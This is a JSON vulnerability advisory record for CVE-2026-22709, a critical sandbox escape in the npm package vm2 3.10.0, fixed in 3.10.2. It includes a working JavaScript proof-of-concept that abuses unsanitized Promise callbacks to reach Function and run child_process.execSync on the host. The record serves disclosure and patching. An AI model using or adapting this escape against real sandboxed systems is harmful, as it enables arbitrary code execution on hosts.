{"id":"CVE-2026-22709","aliases":["GHSA-99p7-6v5w-7xg8"],"url":"https://o3.security/vulnerability/CVE-2026-22709","summary":"vm2 has a Sandbox Escape","details":"In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.\n\n```js\nconst { VM } = require(\"vm2\");\n\nconst code = `\nconst error = new Error();\nerror.name = Symbol();\nconst f = async () => error.stack;\nconst promise = f();\npromise.catch(e => {\n    const Error = e.constructor;\n    const Function = Error.constructor;\n    const f = new Function(\n        \"process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })\"\n    );\n    f();\n});\n`;\n\nnew VM().run(code);\n```\n\nIn lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.","published":"2026-01-26T21:32:00.215Z","modified":"2026-10-28T02:30:37.860106079Z","cvss":{"score":9.8,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"vm2","fixedVersion":"3.10.2"}],"fix":{"url":"https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29","label":"patriksimek/vm2@4b009c2"},"references":[{"type":"WEB","url":"https://github.com/patriksimek/vm2/releases/tag/v3.10.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/22xxx/CVE-2026-22709.json"},{"type":"ADVISORY","url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22709"},{"type":"FIX","url":"https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29"},{"type":"PACKAGE","url":"https://github.com/patriksimek/vm2"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:37.860106079Z"}}